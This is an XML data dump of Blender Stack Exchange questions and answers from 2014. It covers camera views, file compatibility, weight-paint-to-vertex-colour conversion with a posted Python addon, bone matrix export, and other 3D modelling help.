  <row Id="15157" PostTypeId="2" ParentId="8379" CreationDate="2014-08-20T20:43:51.953" Score="1" Body="&lt;p&gt;It is normal for different windows of a window manager to not get input (from the keyboard or mouse). That is, only one of them can be focused; and having the focus means that it gets keyboard and mouse input. Different applications can still get mouse and keyboard events however when they are aware of the other window: they can explicitly ask the window manager to still receive events. In the case of blender these aren't even two different applications; so I'm inclined to call it a bug of blender: blender should be aware where both windows are, and when the  mouse hovers over a split area of a window that doesn't have focus &lt;em&gt;still&lt;/em&gt; process hot keys for that area. Blender could do the 'focus' part internally thus, and not care which of its windows has focus in the eyes of the window manager.&lt;/p&gt;&#xA;" OwnerUserId="5685" LastActivityDate="2014-08-20T20:43:51.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15159" PostTypeId="1" AcceptedAnswerId="15238" CreationDate="2014-08-20T23:49:41.320" Score="2" ViewCount="3697" Body="&lt;p&gt;I began trying to position the camera by going into camera view.  The camera view was in the torso of my character for some reason. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had a camera in the scene, but as far as I know the camera is not a child of the rig.  I also tried removing the camera and adding it again but that still didn't help.  &lt;/p&gt;&#xA;" OwnerUserId="1351" LastEditorUserId="599" LastEditDate="2014-08-21T06:06:46.457" LastActivityDate="2019-09-11T13:11:34.863" Title="Why is my camera stuck In the torso of my character?" Tags="&lt;rendering&gt;&lt;camera&gt;" AnswerCount="4" CommentCount="6" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15161" PostTypeId="1" AcceptedAnswerId="15164" CreationDate="2014-08-21T02:09:31.040" Score="3" ViewCount="2019" Body="&lt;p&gt;I am doing some meshing for Fallout 3/New Vegas. For a while I would make the mesh in Blender 2.71 and then I would try to open up the same .blend mesh in Blender 2.49b (since that is what  making meshes for Fallout 3/New Vegas limits me to) to add in the collision meshes as well as export it to a NIF file, and make whatever changes I needed to in Nifskope.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When opening the mesh in Blender 2.49b, I get the message depicted below, and when I would hit okay and the file would open. Only the wireframe of the mesh would display rather than the actual mesh that should normally show up that's a shaded object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know 2.49b is old but is there something I could do with meshes edited in Blender 2.71 to make them usable in an older version of blender?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Qi14S.png&quot; alt=&quot;270 Files Message&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5599" LastEditorUserId="599" LastEditDate="2014-08-21T02:12:01.333" LastActivityDate="2014-08-21T04:16:46.353" Title="Is there a way to convert 2.7x files to 2.4x?" Tags="&lt;mesh&gt;&lt;blend-files&gt;&lt;compatibility&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15163" PostTypeId="2" ParentId="15161" CreationDate="2014-08-21T03:53:18.197" Score="3" Body="&lt;p&gt;No, data from newer Blend files which is unsupported in older Blender versions doesn't have a migration path (particles and animation for example).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In some cases you could export to a format that 2.4x can read, this will will only work for some limited cases &lt;em&gt;(although in theory this can be made to work as long as 2.4x supports the same feature-set)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In most cases it would be less trouble to update whatever tools you you're missing to support Blender 2.7x.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-08-21T03:53:18.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15164" PostTypeId="2" ParentId="15161" CreationDate="2014-08-21T04:16:46.353" Score="4" Body="&lt;p&gt;While a lot of new data may not translate well into 2.49 as ideasman42 explains, there is an option if you &lt;strong&gt;only want to transfer mesh&lt;/strong&gt; objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you use 'File-&gt;Save As' there is a 'Use Legacy Mesh Format' option that will ensure no n-gon data is saved. This allows 2.49 to open a simple mesh with face data intact.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ji0xY.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-08-21T04:16:46.353" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15165" PostTypeId="2" ParentId="15136" CreationDate="2014-08-21T04:55:10.033" Score="2" Body="&lt;p&gt;You link an action to an object not the other way around. You do this by selecting the object then choosing the action in the action editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While an action can be used by any number of objects, you can only have one action linked to an object at one time. To have an object use more than one action for an animation you use the NLA editor to mix the actions together.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-08-21T04:55:10.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15166" PostTypeId="2" ParentId="15078" CreationDate="2014-08-21T05:48:26.033" Score="-1" Body="&lt;p&gt;I get your frustration. A year is a long time to be stuck on a problem that the UI might not even offer a resolution for.  For what it's worth I have been successful with using other approaches to rigging meshes, weight painting has rarely given me much traction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see one issue right off that will cause some of this.  Have a look at your normals.  When I turned them on they were all rendering so long that you could not see much, but shorten them up and you will see that they are pretty random inside and out.  That will affect the way they are attaching weight depending on the angle you are painting from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;neck rig 1&quot; works pretty good (for weight painting), notice neck rig 2 is trying to solve for a lot of steep faces.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the mesh in your sample file is all triangles, would I be correct in concluding that this model is for output to dirX.  If that is the case getting blenders weight system working correctly inside of blender will be a cakewalk compared to exporting it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you use a solution that is not weight painting?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nice meshes around the mouth and nose btw&lt;/p&gt;&#xA;" OwnerUserId="5691" LastActivityDate="2014-08-21T05:48:26.033" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15167" PostTypeId="1" AcceptedAnswerId="15171" CreationDate="2014-08-21T08:31:45.253" Score="16" ViewCount="13974" Body="&lt;p&gt;I'm trying to use weights from a vertex group in cycles nodes to change the transparency of the mesh. But as far as I know this is still not supported.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any workaround that I could use?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what I want to achieve:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Mo5u8m.png&quot; alt=&quot;weight-painted array&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/sgGRhm.png&quot; alt=&quot;modifiers stack&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, I use a &lt;em&gt;VertexWeightProximity&lt;/em&gt; modifier, to paint the vertex group, and I would like to use it in the node tree to affect the transparency of the mesh. The attribute node doesn't seem to read vertex groups yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/50vILm.png&quot; alt=&quot;node tree&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="154" LastEditorUserId="2217" LastEditDate="2014-08-21T14:06:04.683" LastActivityDate="2021-03-27T02:35:28.307" Title="Weight paint in cycles nodes?" Tags="&lt;cycles-render-engine&gt;&lt;vertex-groups&gt;" AnswerCount="3" CommentCount="5" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="15168" PostTypeId="2" ParentId="15111" CreationDate="2014-08-21T10:07:31.127" Score="1" Body="&lt;p&gt;At the moment, the reflection and the specular highlight are a part of the same ray (reflection rays) and thus there is no way to separate them, or control attributes for either of them separately.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As someonewithpc pointed out in the comments, it is sort of planned to be implemented at some point:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Glossy BSDF's are unified for direct and indirect light, as in the&#xA;  real world. An option should be added to control the amount of&#xA;  indirect light a closure contributes, so that glossy shaders can be&#xA;  used without being a glossy mirror.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;From &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:2.6/Source/Render/Cycles/ReducingNoise&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://wiki.blender.org/index.php/Dev:2.6/Source/Render/Cycles/ReducingNoise&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you would like your entire scene to only show specular highlights and no reflections (i.e. only direct reflections of light sources), simply turn the glossy bounces down in the light paths panel:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vg59K.png&quot; alt=&quot;zero glossy bounces&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9" LastActivityDate="2014-08-21T10:07:31.127" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15169" PostTypeId="2" ParentId="15137" CreationDate="2014-08-21T10:52:36.097" Score="3" Body="&lt;p&gt;you could use the same technique as above but instead of doing it to each key individually you could use the &lt;a href=&quot;http://blenderaddonlist.blogspot.ru/2014/06/addon-multi-edit.html&quot; rel=&quot;nofollow&quot;&gt;Multi Edit addon&lt;/a&gt; and shift the geometry of your keys then counter the movement in object mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also back up your scene before you try the addon (still in Alpha stage) just to be safe.&lt;/p&gt;&#xA;" OwnerUserId="5693" LastActivityDate="2014-08-21T10:52:36.097" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15170" PostTypeId="1" AcceptedAnswerId="15229" CreationDate="2014-08-21T12:02:42.027" Score="3" ViewCount="2547" Body="&lt;p&gt;I am making a homegrown 3d engine for my projects.&#xA;So far, I am able to export:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;mesh&lt;/li&gt;&#xA;&lt;li&gt;materials&lt;/li&gt;&#xA;&lt;li&gt;Node hierarchy&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Each node in my engine has it own mesh(optional), material(optional) and a PARENT-RELATIVE-TRANSFORMATION-MATRIX&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While rendering, each node passes its own matrix down to each children.&#xA;This matrix get multiplied with the child node's transformation matrix and gets passed down further.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is working fine for static meshes with node hierarchy.&#xA;However it is not working for Blender bones(I have a plugin for 3ds max also, and my engine is able to render bones correctly. So I think the issue is not on renderer side.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am getting all weird matrices for bone animations.&#xA;Here is my script where I save the animation data for bones.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for node in nodes:&#xA;    if node.pose_bone:&#xA;        (start_frame, end_frame) = (0, 100)&#xA;        animation = Animation(len(animations), int(start_frame), int(end_frame))&#xA;        animations.append(animation)&#xA;        node.animationIndex = animation.index&#xA;&#xA;        print(&quot;==&amp;gt;&amp;gt;&quot;)&#xA;        for f in range(int(start_frame), int(end_frame) + 1):&#xA;            bpy.context.scene.frame_set(f)&#xA;            bpy.context.scene.update()&#xA;&#xA;            if node.pose_bone.parent is None:&#xA;                bone_matrix = node.pose_bone.matrix_basis&#xA;            else:&#xA;                parent_matrix = node.pose_bone.parent.matrix_basis&#xA;                bone_matrix = node.pose_bone.matrix_basis&#xA;                bone_matrix = parent_matrix.inverted() * bone_matrix&#xA;&#xA;            m = bone_matrix&#xA;&#xA;            animation.translates.append( m.to_translation() )&#xA;            animation.rotates.append( m.to_quaternion() )&#xA;            animation.scales.append( m.to_scale() )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Please help me to get correct pose matrices for bones.&#xA;In my engine these need to be relative to their parent.&lt;/p&gt;&#xA;" OwnerUserId="5694" LastEditorUserId="2217" LastEditDate="2014-08-21T14:14:01.320" LastActivityDate="2014-08-23T13:58:01.077" Title="Blender Python - exporting bone matrices for animation relative to parent" Tags="&lt;python&gt;&lt;export&gt;&lt;armature&gt;&lt;bones&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15171" PostTypeId="2" ParentId="15167" CreationDate="2014-08-21T12:56:44.833" Score="7" Body="&lt;p&gt;This method doesn't use weights, but it seems that your real goal is to get the &lt;em&gt;proximity&lt;/em&gt; into Cycles. If this is the case then you can get the proximity using a different method called &lt;a href=&quot;https://docs.blender.org/manual/en/latest/physics/dynamic_paint/introduction.html#activating-the-modifier&quot; rel=&quot;nofollow noreferrer&quot;&gt;Dynamic Paint&lt;/a&gt;. This will output an image sequence that can be used in Cycles.&lt;/p&gt;&#xA;&lt;p&gt;Below is a rough example of what dynamic paint can do:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Uc9X0.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;This will output a vertex colour layer which can be used in cycles like this to produce to the image on the right:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/44F9T.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Miikah, the creator of dynamic paint has a full tutorial here:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.miikahweb.com/en/articles/blender-dynamicpaint-basics&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.miikahweb.com/en/articles/blender-dynamicpaint-basics&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The basic steps on the physics tab is to set the circle segment to be the &lt;em&gt;brush&lt;/em&gt; like this:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/I6slB.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;The circle that will become transparent is set up in the same way as the brush but is set to be the &lt;em&gt;canvas&lt;/em&gt; with vertex colours set in the output panel:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ccduQ.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="110840" LastEditDate="2021-03-27T02:35:28.307" LastActivityDate="2021-03-27T02:35:28.307" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="15172" PostTypeId="1" AcceptedAnswerId="15176" CreationDate="2014-08-21T14:17:35.430" Score="6" ViewCount="8521" Body="&lt;p&gt;Can I turn weight paint(vertex group data) into vertex paint? I would like to take the weight paint value and convert it into a black and white grey scale vertex paint map.&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="3127" LastEditDate="2016-02-17T12:56:49.853" LastActivityDate="2021-01-29T17:42:57.917" Title="Turn weight paint(vertex groups) into vertex paint?" Tags="&lt;python&gt;&lt;vertex-groups&gt;&lt;weight-painting&gt;&lt;vertex-colors&gt;" AnswerCount="5" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="15174" PostTypeId="1" CreationDate="2014-08-21T15:37:26.237" Score="1" ViewCount="1109" Body="&lt;p&gt;Context:  I am modeling an object that will be simulated as cloth.  I would like to attach two &quot;velco&quot; handles onto the main piece.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Initially, I just &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;J&lt;/kbd&gt; to join the handles to the main piece.  I then pin the two handles, but when I run the cloth simulation, the main piece detaches and falls away.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I get the handles to hold the main piece and drape accordingly?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="5702" LastEditorUserId="241" LastEditDate="2014-08-21T15:41:37.703" LastActivityDate="2014-08-21T18:38:43.980" Title="How can I connect two objects for cloth simulation?" Tags="&lt;modeling&gt;&lt;cloth-simulation&gt;" AnswerCount="0" CommentCount="4" ClosedDate="2014-08-22T20:44:57.380" ContentLicense="CC BY-SA 3.0" />
  <row Id="15176" PostTypeId="2" ParentId="15172" CreationDate="2014-08-21T18:46:57.520" Score="10" Body="&lt;p&gt;I think you will still have to do a bit of scripting to get the following to work but it does most of what you want.  A while back, someone posted a question about how to convert an existing script that turns Weight Paint to Vertex Color Paint, he posted the script link and there are a couple reasons why I decided to post this as an answer instead of only directing you to the link.&#xA;First, there is an important step necessary to get this to work properly.&#xA;Second, I'd like to also post the script here directly in case the link to the external site goes down, this way it will still be available here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To start with, Vertex Color Paint starts off as all white and if you try to use the Addon with the Vertex Colors as all White then it fails weirdly.  The first results I got looked like the following.  It transitions from white to grey then back to white.  It's not black where the blue is in Weight Paint mode.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/brMmE.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if you first add a Color vertex group and then make that group black, the Addon works fine.  Just set the brush color to black and use the Set Vertex Color &lt;kbd&gt;shift &lt;/kbd&gt;+&lt;kbd&gt;k&lt;/kbd&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/n1kTf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you will have all black vertex colors.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So now you can enter weight paint mode and use the Addon which can be found in the &lt;kbd&gt;spacebar&lt;/kbd&gt; search menu under &lt;strong&gt;&lt;em&gt;Weight2VertexCol&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should get results something like the following.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/a2HJ9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the fun part, you have to modify the Addon to invert black and white.  Fortunately, the math for this is easy, unfortunately I don't know Python scripting very well and I'm mediocre with math.  Now if I think correctly(which I don't always do) you can use (x*-1.0)+1.0 to invert black and white.  So I assume if we find the place in the script that writes the Vertex Colors and we place that variable where the x is in the above formula then the script should do what you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll just post the script for now and then maybe someone can figure this last part out. I'll be really surprised if that code works without some indentation reformatting using a program like PyCharm CE since the code window here botched the copy and paste and I had to do a bunch of manual indentation.  Anyways, here is the link to the script on the external site so people can just use this copy as a last resort.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitbucket.org/kursad/blender_addons_weight2vertcolortransfer/src/42070d95e0063df441b4f2d617492669b690592c/src/vertex_color_weight_transfer.py?at=master&quot; rel=&quot;noreferrer&quot;&gt;https://bitbucket.org/kursad/blender_addons_weight2vertcolortransfer/src/42070d95e0063df441b4f2d617492669b690592c/src/vertex_color_weight_transfer.py?at=master&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The script has the filename -&gt; &lt;em&gt;vertex_color_weight_transfer.py&lt;/em&gt; in case anyone from the future wants to Google it.  His name is listed in the script below.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I put some notes after the script about how I think you can modify it to make Red = 0.0 and Blue = 1.0 instead of what it does now(Unless I'm confused and it already does.)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy &#xA;from mathutils import Color&#xA;import random&#xA;from bpy.props import *&#xA;&#xA;import bmesh&#xA;&#xA;&#xA;bl_info = {&#xA;    &quot;name&quot;: &quot;Weight2VertexCol&quot;,&#xA;    &quot;author&quot;: &quot;Kursad Karatas&quot;,&#xA;    &quot;version&quot;: (0, 1, 0),&#xA;    &quot;blender&quot;: (2, 6 ,6),&#xA;    &quot;location&quot;: &quot;View3D &amp;gt; UI panel &amp;gt;CopyWeightColors&quot;,&#xA;    &quot;description&quot;: &quot;Transfers Weights as Vertex Colors&quot;,&#xA;    &quot;warning&quot;: &quot;&quot;,&#xA;    &quot;wiki_url&quot;: &quot;&quot;,&#xA;    &quot;tracker_url&quot;: &quot;&quot;,&#xA;    &quot;category&quot;: &quot;3D View&quot;}&#xA;&#xA;&#xA;class Weight2VertexCol(bpy.types.Operator):&#xA;    &quot;&quot;&quot;Tooltip&quot;&quot;&quot;&#xA;    bl_idname = &quot;object.weight2vertexcol&quot;&#xA;    bl_label = &quot;Weight2VertexCol&quot;&#xA;    bl_space_type = &quot;VIEW_3D&quot;&#xA;    bl_options = {'REGISTER', 'UNDO'}&#xA;&#xA;    method=bpy.props.BoolProperty(name=&quot;Color&quot;, description=&quot;Choose the coloring method&quot;, default=False)&#xA;&#xA;@classmethod&#xA;def poll(cls, context):&#xA;    return context.active_object is not None&#xA;&#xA;def execute(self, context):&#xA;    transferWeight2VertexCol(context, self.method)&#xA;    context.active_object.data.update()&#xA;    return {'FINISHED'}&#xA;&#xA;&#xA;def transferWeight2VertexCol(context, method):&#xA;    me=context.active_object&#xA;    verts=me.data.vertices&#xA;&#xA;    col=Color()&#xA;   col.h=0&#xA;    col.s=1&#xA;col.v=1&#xA;&#xA;#vcolgrp=bpy.context.active_object.data.vertex_colors.keys()&#xA;&#xA;try:&#xA;    assert bpy.context.active_object.vertex_groups&#xA;    assert bpy.context.active_object.data.vertex_colors&#xA;&#xA;except AssertionError:&#xA;    bpy.ops.error.message('INVOKE_DEFAULT', &#xA;            type = &quot;Error&quot;,&#xA;            message = 'you need at least one vertex group and one color group')&#xA;    return&#xA;&#xA;vgrp=bpy.context.active_object.vertex_groups.keys()&#xA;&#xA;vcolgrp=bpy.context.active_object.data.vertex_colors&#xA;&#xA;&#xA;#Check to see if we have at least one vertex group and one vertex color group&#xA;if len(vgrp) &amp;gt; 0 and len(vcolgrp) &amp;gt; 0: &#xA;    print (&quot;enough parameters&quot;)&#xA;&#xA;    #Colored&#xA;    if method:&#xA;        for poly in me.data.polygons:&#xA;            for loop in poly.loop_indices:&#xA;                vertindex=me.data.loops[loop].vertex_index        &#xA;&#xA;                #Check to see if the vertex has any geoup association&#xA;                try:&#xA;                    weight=me.vertex_groups.active.weight(vertindex)&#xA;                except:&#xA;                   continue&#xA;&#xA;                #col=Color ((r, g, b )) &#xA;                col.h=0.66*weight&#xA;                col.s=1&#xA;                col.v=1&#xA;                me.data.vertex_colors.active.data[loop].color = (col.b, col.g, col.r)&#xA;&#xA;&#xA;    if not method:&#xA;        for poly in me.data.polygons:&#xA;            for loop in poly.loop_indices:&#xA;                vertindex=me.data.loops[loop].vertex_index        &#xA;                #weight=me.vertex_groups['Group'].weight(vertindex)&#xA;&#xA;                #Check to see if the vertex has any geoup association&#xA;                try:&#xA;                    weight=me.vertex_groups.active.weight(vertindex)&#xA;                except:&#xA;                    continue&#xA;&#xA;                col.r=weight&#xA;                col.g=col.r&#xA;                col.b=col.r&#xA;                me.data.vertex_colors.active.data[loop].color = (col.b, col.g, col.r)&#xA;&#xA;&#xA;class MessageOperator(bpy.types.Operator):&#xA;    bl_idname = &quot;error.message&quot;&#xA;    bl_label = &quot;Message&quot;&#xA;    type = StringProperty()&#xA;    message = StringProperty()&#xA;&#xA;    def execute(self, context):&#xA;        self.report({'INFO'}, self.message)&#xA;        print(self.message)&#xA;        return {'FINISHED'}&#xA;&#xA;    def invoke(self, context, event):&#xA;        wm = context.window_manager&#xA;        return wm.invoke_popup(self, width=800, height=200)&#xA;&#xA;    def draw(self, context):&#xA;        self.layout.label(&quot;A message has arrived&quot;)&#xA;        row = self.layout.split(0.25)&#xA;        row.prop(self, &quot;type&quot;)&#xA;        row.prop(self, &quot;message&quot;)&#xA;        row = self.layout.split(0.80)&#xA;        row.label(&quot;&quot;) &#xA;        row.operator(&quot;error.ok&quot;)&#xA;&#xA;#&#xA;#   The OK button in the error dialog&#xA;#&#xA;class OkOperator(bpy.types.Operator):&#xA;    bl_idname = &quot;error.ok&quot;&#xA;    bl_label = &quot;OK&quot;&#xA;    def execute(self, context):&#xA;        return {'FINISHED'}&#xA;&#xA;&#xA;def menu_draw(self, context): &#xA;    self.layout.operator_context = 'INVOKE_REGION_WIN' &#xA;    self.layout.operator(Bevel.bl_idname, &quot;Weight2VertexCol&quot;) &#xA;&#xA;def register():&#xA;    bpy.utils.register_class(Weight2VertexCol)&#xA;    bpy.types.VIEW3D_MT_edit_mesh_specials.prepend(menu_draw) &#xA;&#xA;    #error window&#xA;    bpy.utils.register_class(OkOperator)&#xA;    bpy.utils.register_class(MessageOperator)&#xA;&#xA;&#xA;def unregister():&#xA;    bpy.types.VIEW3D_MT_edit_mesh_specials.remove(menu_draw) &#xA;    bpy.utils.unregister_class(Weight2VertexCol)&#xA;&#xA;if __name__ == &quot;Weight2VertexCol&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The following lines look like where the Red and Blue are being transferred to Black and White.&#xA;The col.r = weight is a pretty good indication.  So is the fact that all three color channels are being assigned the same information. That is how you make a grey scale color which is what we are looking for here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;col.r=weight&lt;/p&gt;&#xA;&#xA;&lt;p&gt;col.g=col.r&lt;/p&gt;&#xA;&#xA;&lt;p&gt;col.b=col.r&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, as a starting point, I would modify the first line of that snippet to be &lt;/p&gt;&#xA;&#xA;&lt;p&gt;col.r= (weight*-1.0)+1.0 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;and then I would test it.  It should do what you want I think.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would be even better is if you were to find a way to modify the code so that it automatically makes the Vertex Colors all black for you as part of the script which will save you a few steps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE:  I tested the invert formula and now the script seems to do what you want, here is the result.  Also, with the greyscale inversion added, the initial Vertex Colors should start off white instead of black so this saves a bit of setup for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nRO3q.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="1448" LastEditDate="2014-08-21T19:08:26.467" LastActivityDate="2014-08-21T19:08:26.467" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15177" PostTypeId="1" AcceptedAnswerId="15188" CreationDate="2014-08-21T20:53:49.160" Score="0" ViewCount="569" Body="&lt;p&gt;I somehow changed to color of disabled menu items, so that they are not grayed out unless you hover over them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, the &lt;em&gt;Search&lt;/em&gt; and submenu entries should be grayed out, but are only grayed out when hovering over them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Changed color theme on the left and, the default color theme on the right. &#xA;&lt;img src=&quot;https://i.stack.imgur.com/Kkbgw.png&quot; alt=&quot;changed color theme&quot;&gt; &lt;img src=&quot;https://i.stack.imgur.com/V77Hr.png&quot; alt=&quot;default color theme&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What did I change that did this?&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="2217" LastEditDate="2014-08-21T21:37:23.970" LastActivityDate="2014-08-22T00:17:21.757" Title="Where is the color setting for disabled menu items?" Tags="&lt;customization&gt;&lt;theme&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15178" PostTypeId="1" CreationDate="2014-08-21T21:14:34.647" Score="1" ViewCount="3348" Body="&lt;p&gt;Hey so I'm a Blender newbie who figured out that somewhere during my modelling, I got some parts uneven as seen on this picture from the side:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oenJO.png&quot; alt=&quot;Uneven wall&quot;&gt;&#xA; .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That vertical part is supposed to be 90 degrees straight. It consists of several vertices. **How can I straighten out these vertices to form a shape parallel to the z axis, completely vertical?&lt;/p&gt;&#xA;" OwnerUserId="5289" LastEditorUserId="3401" LastEditDate="2014-08-22T03:46:25.453" LastActivityDate="2014-08-22T03:46:25.453" Title="How can I even out a set of uneven vertices to form a vertical surface?" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;vertices&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2014-08-21T23:57:47.300" ContentLicense="CC BY-SA 3.0" />
  <row Id="15179" PostTypeId="2" ParentId="14891" CreationDate="2014-08-21T21:48:52.160" Score="4" Body="&lt;p&gt;You can store and re-use parts. Just save the re-usable part in a separate file. Then, whenever you want to use it, push &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;F1&lt;/kbd&gt;, navigate to the .blend file with the part in it, open it, select the objects folder, and select your object. It will then import that object and all its data into your scene. Hope that helps!&lt;/p&gt;&#xA;" OwnerUserId="5708" LastEditorUserId="241" LastEditDate="2014-08-21T21:57:14.500" LastActivityDate="2014-08-21T21:57:14.500" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
